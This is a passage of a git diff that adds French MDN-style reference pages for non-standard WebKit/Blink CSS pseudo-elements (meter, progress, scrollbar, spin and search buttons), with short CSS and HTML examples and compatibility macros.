+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-webkit-meter-even-less-good-value</code></strong> donne une couleur rouge à l'élément {{HTMLElement("meter")}} lorsque les valeurs de <code>value</code> et d'optimum sont dans des intervalles opposés (par exemple : <code>value</code> &lt; <code>low</code> &lt; <code>high</code> &lt; <code>optimum</code> ou <code>value</code> &gt; <code>high</code> &gt; <code>low</code> &gt; <code>optimum</code>).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">meter::-webkit-meter-even-less-good-value {
+  background: linear-gradient(to bottom, #f77, #d44 45%, #d44 55%, #f77);
+  height: 100%;
+  box-sizing: border-box;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;meter min="0" max="10" value="6"&gt;Score out of 10&lt;/meter&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '100%', 50)}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cela fonctionnera uniquement pour les navigateurs Webkit/Blink.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-webkit-meter-even-less-good-value")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>Les pseudo-éléments utilisés par WebKit/Blink pour mettre en forme les autres parties d'un élément {{htmlelement("meter")}} :</p>
+
+<ul>
+ <li>{{cssxref("::-webkit-meter-inner-element")}}</li>
+ <li>{{cssxref("::-webkit-meter-bar")}}</li>
+ <li>{{cssxref("::-webkit-meter-optimum-value")}}</li>
+ <li>{{cssxref("::-webkit-meter-suboptimum-value")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-webkit-meter-inner-element/index.html b/files/fr/web/css/_doublecolon_-webkit-meter-inner-element/index.html
new file mode 100644
index 0000000000..0bde368e10
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-webkit-meter-inner-element/index.html
@@ -0,0 +1,63 @@
+---
+title: '::-webkit-meter-inner-element'
+slug: 'Web/CSS/::-webkit-meter-inner-element'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-webkit-meter-inner-element'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-webkit-meter-inner-element</code></strong> est un pseudo-élément qui permet de sélectionner et d'appliquer des styles au conteneur d'un élément {{htmlelement("meter")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">meter {
+  /* Réinitialise l'apparence par défaut */
+  -webkit-appearance: none;
+  -moz-appearance: none;
+  appearance: none;
+}
+
+meter::-webkit-meter-inner-element {
+  -webkit-appearance: inherit;
+  box-sizing: inherit;
+  border: 1px solid #aaa;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;meter min="0" max="10" value="6"&gt;Score out of 10&lt;/meter&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '100%', 50)}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cela ne fonctionne que pour les navigateurs Webkit/Blink.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-webkit-meter-inner-element")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>Les pseudo-éléments utilisés par WebKit/Blink pour mettre en forme les autres parties d'un élément {{htmlelement("meter")}} :</p>
+
+<ul>
+ <li>{{cssxref("::-webkit-meter-bar")}}</li>
+ <li>{{cssxref("::-webkit-meter-even-less-good-value")}}</li>
+ <li>{{cssxref("::-webkit-meter-optimum-value")}}</li>
+ <li>{{cssxref("::-webkit-meter-suboptimum-value")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-webkit-meter-optimum-value/index.html b/files/fr/web/css/_doublecolon_-webkit-meter-optimum-value/index.html
new file mode 100644
index 0000000000..a62a09bb8b
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-webkit-meter-optimum-value/index.html
@@ -0,0 +1,56 @@
+---
+title: '::-webkit-meter-optimum-value'
+slug: 'Web/CSS/::-webkit-meter-optimum-value'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-webkit-meter-optimum-value'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-webkit-meter-optimum-value</code></strong> permet de mettre en forme l'élément {{HTMLElement("meter")}} lorsque la valeur de son attribut tombe dans l'intervalle haut. La couleur appliquée par défaut est le vert.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">meter::-webkit-meter-bar {
+  background : none;
+  background-color : whiteSmoke;
+  box-shadow : 0 5px 5px -5px #333 inset;
+}
+
+meter::-webkit-meter-optimum-value {
+  box-shadow: 0 5px 5px -5px #999 inset;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;meter min="0" max="10" value="6"&gt;Score out of 10&lt;/meter&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Examples', '100%', 50)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-webkit-meter-optimum-value")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>Les pseudo-éléments utilisés par WebKit/Blink pour mettre en forme les autres parties d'un élément {{htmlelement("meter")}} :</p>
+
+<ul>
+ <li>{{cssxref("::-webkit-meter-inner-element")}}</li>
+ <li>{{cssxref("::-webkit-meter-bar")}}</li>
+ <li>{{cssxref("::-webkit-meter-even-less-good-value")}}</li>
+ <li>{{cssxref("::-webkit-meter-suboptimum-value")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-webkit-meter-suboptimum-value/index.html b/files/fr/web/css/_doublecolon_-webkit-meter-suboptimum-value/index.html
new file mode 100644
index 0000000000..1774660de5
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-webkit-meter-suboptimum-value/index.html
@@ -0,0 +1,56 @@
+---
+title: '::-webkit-meter-suboptimum-value'
+slug: 'Web/CSS/::-webkit-meter-suboptimum-value'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-webkit-meter-suboptimum-value'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-webkit-meter-suboptimum-value</code></strong> donne une couleur jaune à l'élément {{HTMLElement("meter")}} lorsque la valeur de l'attribut est en dehors de l'intervalle haut des valeurs.</p>
+
+<h2 id="Exemples"><strong>Exemples</strong></h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">meter::-webkit-meter-suboptimum-value {
+  background: -webkit-gradient linear, left top, left bottom;
+  height: 100%;
+  box-sizing: border-box;
+}</pre>
+
+<h3 id="HTML"><strong>HTML</strong></h3>
+
+<pre class="brush: html">&lt;meter min="0" max="10" value="6"&gt;Score sur 10&lt;/meter&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Examples', '100%', 50)}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette fonctionnalité ne sera visible que depuis un navigateur WebKit/Blink.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-webkit-meter-suboptimum-value")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>Les pseudo-éléments utilisés par WebKit/Blink pour mettre en forme les autres parties d'un élément {{htmlelement("meter")}} :</p>
+
+<ul>
+ <li>{{cssxref("::-webkit-meter-inner-element")}}</li>
+ <li>{{cssxref("::-webkit-meter-bar")}}</li>
+ <li>{{cssxref("::-webkit-meter-even-less-good-value")}}</li>
+ <li>{{cssxref("::-webkit-meter-optimum-value")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-webkit-outer-spin-button/index.html b/files/fr/web/css/_doublecolon_-webkit-outer-spin-button/index.html
new file mode 100644
index 0000000000..f53ee0d5d9
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-webkit-outer-spin-button/index.html
@@ -0,0 +1,48 @@
+---
+title: '::-webkit-outer-spin-button'
+slug: 'Web/CSS/::-webkit-outer-spin-button'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-webkit-outer-spin-button'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-webkit-outer-spin-button</code></strong> peut être utilisé afin de mettre en forme la partie extérieure du sélecteur numérique utilisé pour les éléments {{HTMLElement("input")}} de type <code>number</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input::-webkit-outer-spin-button {
+  -webkit-appearance: none;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="number"&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 200, 30)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink, il ne fait partie d'aucune spécification standard.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-webkit-outer-spin-button")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("::-webkit-inner-spin-button")}}</li>
+ <li>{{cssxref("::-webkit-textfield-decoration-container")}}</li>
+ <li><a href="https://trac.webkit.org/wiki/Styling%20Form%20Controls#inputelement">Mettre en forme les contrôles des formulaires – WebKit (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-webkit-progress-bar/index.html b/files/fr/web/css/_doublecolon_-webkit-progress-bar/index.html
new file mode 100644
index 0000000000..dab0700960
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-webkit-progress-bar/index.html
@@ -0,0 +1,66 @@
+---
+title: '::-webkit-progress-bar'
+slug: 'Web/CSS/::-webkit-progress-bar'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-webkit-progress-bar'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-webkit-progress-bar</code></strong> représente l'ensemble de la barre d'un élément {{HTMLElement("progress")}}. Normalement, celui-ci n'est visible que pour la partie de la barre qui n'est pas remplie car, par défaut, il est affiché sous le pseudo-élément {{cssxref("::-webkit-progress-value")}}. C'est un pseudo-élément fils du pseudo-élément {{cssxref("::-webkit-progress-inner-element")}} et c'est le pseudo-élément parent du pseudo-élément {{cssxref("::-webkit-progress-value")}}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Afin que <code>::-webkit-progress-value</code> ait un effet, il faut que {{cssxref("appearance")}} vaille <code>none</code> sur l'élément <code>&lt;progress&gt;</code>.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">progress {
+  -webkit-appearance: none;
+}
+
+::-webkit-progress-bar {
+   background-color: orange;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;progress value="10" max="50"&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 200, 50)}}</p>
+
+<p>Une barre de progression avec la mise en forme ci-avant sera affichée de cette façon :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13488/progress-bar.png" style="height: 43px; width: 194px;"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-webkit-progress-bar")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les pseudo-éléments relatifs à WebKit/Blink qui permettent de mettre en forme les autres parties des éléments {{HTMLElement("progress")}} :
+  <ul>
+   <li>{{cssxref("::-webkit-progress-value")}}</li>
+   <li>{{cssxref("::-webkit-progress-inner-element")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("::-moz-progress-bar")}}</li>
+ <li>{{cssxref("::-ms-fill")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-webkit-progress-inner-element/index.html b/files/fr/web/css/_doublecolon_-webkit-progress-inner-element/index.html
new file mode 100644
index 0000000000..4a3f1b4af1
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-webkit-progress-inner-element/index.html
@@ -0,0 +1,66 @@
+---
+title: '::-webkit-progress-inner-element'
+slug: 'Web/CSS/::-webkit-progress-inner-element'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-webkit-progress-inner-element'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-webkit-progress-inner-element</code></strong> représente le cadre extérieur de l'élément {{HTMLElement("progress")}}. C'est un pseudo-élément parent du pseudo-élément {{cssxref("::-webkit-progress-bar")}}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Afin que <code>::-webkit-progress-value</code> ait un effet, il faut que {{cssxref("-webkit-appearance")}} vaille <code>none</code> sur l'élément <code>&lt;progress&gt;</code>.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">progress {
+  -webkit-appearance: none;
+}
+
+::-webkit-progress-inner-element {
+  border: 2px solid black;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;progress value="10" max="50"&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 200, 50)}}</p>
+
+<p>Une barre de progression avec la mise en forme ci-avant sera affichée de cette façon :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13492/-webkit-progress-inner-element%20example.png"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-webkit-progress-inner-element")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les pseudo-éléments relatifs à WebKit/Blink qui permettent de mettre en forme les autres parties des éléments {{HTMLElement("progress")}}
+  <ul>
+   <li>{{cssxref("::-webkit-progress-bar")}}</li>
+   <li>{{cssxref("::-webkit-progress-value")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("::-moz-progress-bar")}}</li>
+ <li>{{cssxref("::-ms-fill")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-webkit-progress-value/index.html b/files/fr/web/css/_doublecolon_-webkit-progress-value/index.html
new file mode 100644
index 0000000000..eefb15ceec
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-webkit-progress-value/index.html
@@ -0,0 +1,65 @@
+---
+title: '::-webkit-progress-value'
+slug: 'Web/CSS/::-webkit-progress-value'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-webkit-progress-value'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-webkit-progress-value</code></strong> permet de représenter la portion « remplie » de la barre d'un élément {{HTMLElement("progress")}}. C'est un pseudo-élément fils du pseudo-élément {{cssxref("::-webkit-progress-bar")}}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Afin que <code>::-webkit-progress-value</code> ait un effet, il faut que {{cssxref("-webkit-appearance")}} vaille <code>none</code> sur l'élément <code>&lt;progress&gt;</code>.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">progress {
+  -webkit-appearance: none;
+}
+
+::-webkit-progress-value {
+  background-color: orange;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;progress value="10" max="50"&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 200, 50)}}</p>
+
+<p>Une barre de progression avec la mise en forme ci-avant sera affichée de cette façon :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13490/progress-value.png" style="height: 60px; width: 249px;"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-webkit-progress-value")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les pseudo-éléments relatifs à WebKit/Blink qui permettent de mettre en forme les autres parties des éléments {{HTMLElement("progress")}} :
+  <ul>
+   <li>{{cssxref("::-webkit-progress-bar")}}</li>
+   <li>{{cssxref("::-webkit-progress-inner-element")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("::-moz-progress-bar")}}</li>
+ <li>{{cssxref("::-ms-fill")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-webkit-scrollbar/index.html b/files/fr/web/css/_doublecolon_-webkit-scrollbar/index.html
new file mode 100644
index 0000000000..45d4fff49e
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-webkit-scrollbar/index.html
@@ -0,0 +1,123 @@
+---
+title: '::-webkit-scrollbar'
+slug: 'Web/CSS/::-webkit-scrollbar'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-webkit-scrollbar'
+---
+<div>{{Draft}}{{CSSRef}}{{Non-standard_header}}</div>
+
+<div>Le pseudo-élément <code><strong>::-webkit-scrollbar</strong></code> permet de modifier le style de la barre de défilement associée à un élément. Il s'agit d'un pseudo-élément propriétaire, uniquement disponible pour les navigateurs WebKit.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{CSSSyntax}}
+</pre>
+
+<h2 id="Sélecteurs_de_scrollbars">Sélecteurs de <em>scrollbars</em></h2>
+
+<p>You can use the following pseudo elements to customize various parts of the scrollbar for webkit browsers:</p>
+
+<ul>
+ <li><code>::-webkit-scrollbar</code> — la barre entière.</li>
+ <li><code>::-webkit-scrollbar-button</code> — les boutons de la barre de défilement (les flèches vers le bas ou le haut)</li>
+ <li><code>::-webkit-scrollbar-thumb</code> — l'emplacement qui permet de déplacer la barre de défilement.</li>
+ <li><code>::-webkit-scrollbar-track</code> — la piste (la zone de progression) de la barre de défilement</li>
+ <li><code>::-webkit-scrollbar-track-piece</code> — la partie de la piste qui n'est pas couverte par le bouton de la barre de défilement.</li>
+ <li><code>::-webkit-scrollbar-corner</code> — le coin inférieur de la barre où les barres horizontales et verticales se rencontrent.</li>
+ <li><code>::-webkit-resizer</code> — le bouton qui apparaît dans le coin inférieur de certains éléments et qui permet de les redimensionner.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">.visible-scrollbar, .invisible-scrollbar, .mostly-customized-scrollbar {
+  display: block;
+  width: 10em;
+  overflow: auto;
+  height: 2em;
+}
+.invisible-scrollbar::-webkit-scrollbar {
+  display: none;
+}
+
+/* Demonstrate a "mostly customized" scrollbar
+ * (won't be visible otherwise if width/height is specified) */
+.mostly-customized-scrollbar::-webkit-scrollbar {
+  width: 5px;
+  height: 8px;
+  background-color: #aaa; /* or add it to the track */
+}
+/* Add a thumb */
+.mostly-customized-scrollbar::-webkit-scrollbar-thumb {
+    background: #000;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="visible-scrollbar"&gt;
+  Etiam sagittis sem sed lacus laoreet, eu fermentum eros auctor.
+  Proin at nulla elementum, consectetur ex eget, commodo ante.
+  Sed eros mi, bibendum ut dignissim et, maximus eget nibh. Phasellus
+  blandit quam turpis, at mollis velit pretium ut. Nunc consequat
+  efficitur ultrices. Nullam hendrerit posuere est. Nulla libero
+  sapien, egestas ac felis porta, cursus ultricies quam. Vestibulum
+  tincidunt accumsan sapien, a fringilla dui semper in. Vivamus
+  consectetur ipsum a ornare blandit. Aenean tempus at lorem sit
+  amet faucibus. Curabitur nibh justo, faucibus sed velit cursus,
+  mattis cursus dolor. Pellentesque id pretium est. Quisque
+  convallis nisi a diam malesuada mollis. Aliquam at enim ligula.
+&lt;/div&gt;
+&lt;div class="invisible-scrollbar"&gt;Thisisaveeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeerylongword&lt;/div&gt;
+&lt;div class="mostly-customized-scrollbar"&gt;Thisisaveeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeerylongword&lt;br&gt;
+And pretty tall&lt;br&gt;
+thing with weird scrollbars.&lt;br&gt;
+Who thought scrollbars could be made weeeeird?&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<h3 id="-webkit-scrollbar"><code>::-webkit-scrollbar</code></h3>
+
+<p>{{Compat("css.selectors.-webkit-scrollbar")}}</p>
+
+<h3 id="-webkit-scrollbar-button"><code>::-webkit-scrollbar-button</code></h3>
+
+<p>{{Compat("css.selectors.-webkit-scrollbar-button")}}</p>
+
+<h3 id="-webkit-scrollbar-thumb"><code>::-webkit-scrollbar-thumb</code></h3>
+
+<p>{{Compat("css.selectors.-webkit-scrollbar-thumb")}}</p>
+
+<h3 id="-webkit-scrollbar-track"><code>::-webkit-scrollbar-track</code></h3>
+
+<p>{{Compat("css.selectors.-webkit-scrollbar-track")}}</p>
+
+<h3 id="-webkit-scrollbar-track-piece"><code>::-webkit-scrollbar-track-piece</code></h3>
+
+<p>{{Compat("css.selectors.-webkit-scrollbar-track-piece")}}</p>
+
+<h3 id="-webkit-scrollbar-corner"><code>::-webkit-scrollbar-corner</code></h3>
+
+<p>{{Compat("css.selectors.-webkit-scrollbar-corner")}}</p>
+
+<h3 id="-webkit-resizer"><code>::-webkit-resizer</code></h3>
+
+<p>{{Compat("css.selectors.-webkit-resizer")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Billet du blog WebKit <a href="https://webkit.org/blog/363/styling-scrollbars/">sur la mise en forme des barres de défilement</a></li>
+ <li>{{cssxref('-ms-overflow-style')}}</li>
+ <li>{{CSSxRef("scrollbar-width")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-webkit-search-cancel-button/index.html b/files/fr/web/css/_doublecolon_-webkit-search-cancel-button/index.html
new file mode 100644
index 0000000000..345ec5935b
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-webkit-search-cancel-button/index.html
@@ -0,0 +1,34 @@
+---
+title: '::-webkit-search-cancel-button'
+slug: 'Web/CSS/::-webkit-search-cancel-button'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-webkit-search-cancel-button'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-webkit-search-cancel-button</code></strong> représente le bouton d'annulation présenté au bout d'un champ {{HTMLElement("input")}} de type <code>search</code> et qui permet d'effacer la valeur actuellement saisie dans l'élément {{HTMLElement("input")}}. Ce bouton et ce pseudo-élément ne sont pas standards et ne sont pris en charge que par WebKit et Blink. Ce bouton est uniquement affiché pour les éléments {{HTMLElement("input")}} qui ne sont pas vides.</p>
+
+<h2 id="Syntaxe"><strong>Syntaxe</strong></h2>
+
+<pre class="syntaxbox"> <em>selecteur</em>::-webkit-search-cancel-button</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-webkit-search-cancel-button")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref('::-ms-clear')}}</li>
+ <li>{{cssxref('::-webkit-search-results-button')}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-webkit-search-results-button/index.html b/files/fr/web/css/_doublecolon_-webkit-search-results-button/index.html
new file mode 100644
index 0000000000..00579110d6
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-webkit-search-results-button/index.html
@@ -0,0 +1,33 @@
+---
+title: '::-webkit-search-results-button'
+slug: 'Web/CSS/::-webkit-search-results-button'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-webkit-search-results-button'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-webkit-search-results-button</code></strong> représente le bouton affiché sur le bord gauche d'un élément {{HTMLElement("input")}} de type <code>"search"</code> qui affiche un menu proposant les dernières recherches effectuées à l'utilisateur. Ce bouton et ce pseudo-élément ne sont pas standards et sont uniquement pris en charge par WebKit/Blink. Le bouton des résultats de recherche est uniquement affiché pour les éléments {{HTMLElement("input")}} qui possèdent <a href="/fr/docs/Web/HTML/Element/Input">un attribut <code>r</code><code>esults</code></a>.</p>
+
